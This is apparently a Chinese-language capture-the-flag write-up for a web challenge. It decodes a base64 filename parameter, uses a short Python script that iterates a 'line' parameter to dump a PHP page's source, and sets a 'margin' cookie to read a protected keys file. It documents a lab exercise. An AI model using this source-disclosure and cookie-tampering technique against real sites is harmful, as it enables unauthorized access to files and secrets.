利用cookie值进行攻击;
完全没有一点经验,看到这个提示,我唯一能想到的就是用burpsuite抓包后修改一下cookie值,也许会有些什么东西;可是抓包后完全无从下手……
然后有没有发现这道题的url跟其他的有些不一样呢?后面有一串很奇怪的参数,这熟悉的“=”,应该是base64编码,拿去解码一下:原来是&fillename=key.txt;
另外url里还有一个参数:line,它没有任何值,那我们试着加上一个,line=2,发现出来了一行代码,改成3,换成了另外一行代码,那我们可以写一个脚本来把所有的代码显示出来:
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print(s.text)
运行后果然发现了一个程序:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
然后发现了cookie:margin=margin;
用burpsuite改包后发送就可以出flag了;